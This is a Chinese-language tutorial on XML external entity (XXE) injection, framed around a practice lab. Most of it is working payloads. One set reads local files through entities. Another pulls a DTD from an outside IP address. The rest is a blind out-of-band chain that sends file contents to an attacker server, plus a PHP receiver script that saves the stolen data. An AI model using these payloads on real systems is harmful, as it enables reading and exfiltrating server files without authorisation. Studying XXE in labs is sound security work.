Xxe漏洞
一,Xml:是一种用来传输存储数据的语言,与html语法相似。但xml标签没有预定义,必须使用者来进行定义;同时,xml用于传输存储数据,被设计为具有自我描述性。而html用以显示数据,焦点是数据的外观(现在xml传输方式使用较少,大部分为json或其他类型的传参方式)。
二, 漏洞介绍
1, 本质
xml 是用来传输数据,那若在传输的数据里面写的是恶意数据,传到后端被解析了,执行了命令,从而实现危害利用(传输恶意xml语句)。
2, 分类
有无回显。
3, 靶场:xxe-lab(使用phpstudy时,仅解压后缀名为.php的压缩包到www文件夹下)。
三, 漏洞使用
抓包,看是否为xml传参方式
若是,可以考虑在这个传输恶意数据,因为登录口传输的是 xml ,那么后端接收的时候,肯定是 xml 解析,既能会解析,那么我们就传恶意的 xml 数据给它解析,让他执行。
1, 有回显
读取文件
<?xml version="1.0"?>
<!DOCTYPE xxxxx [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>123456</password></user>
解 释 : 将 "file:///d:/1.txt" 赋 值 给 变 量 test , 然 后 服 务 器 在 检 查 username 时 就 会 解 析
"file:///d:/1.txt" 在黑盒测试中,我们可以抓个包看看,提交的数据是不是 xml 的这种树状的格式,或者看看content-type 是不是 xml 类型
2、外部引用实体 dtd_x0005_:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://111.229.218.169/1.dtd">
%file;
]>
<user><username>&send;</username><password>123456</password></user>
1.dtd 中写着
<!ENTITY send SYSTEM "file:///d:/1.txt">
对于上段代码的解释:有一个实体声明(ENTITY declaretion):%file。实体声明定义了一个名为%file
的实体,该实体的值是从 https://111.229.218.169/1.dtd 获取的内容,在 username 元素中,使用了
一个实体引用“&send”来表示实体的值,实体&send 中解析 1.dtd 文件中,得到&send 最后值为执行
file:///d:/1.txt
2、无回显
发现能带外了,说明执行了,再去利用
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://72y3s1.dnslog.cn">
%file;
]>
<user><username>&send;</username><password>123456</password></user>
读取文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://111.229.218.169/2.dtd">
%remote;
%all;
]>
<root>&send;</root>
2.dtd
<!ENTITY % all "<!ENTITY send SYSTEM 'http://111.229.218.169/get.php?file=%file;'>" >
get.php 中
<?php
$data=$_GET['file'];
$myfile=fopen("file.txt","w+");
fwrite($myfile,$data);
fclose($myfile);
?>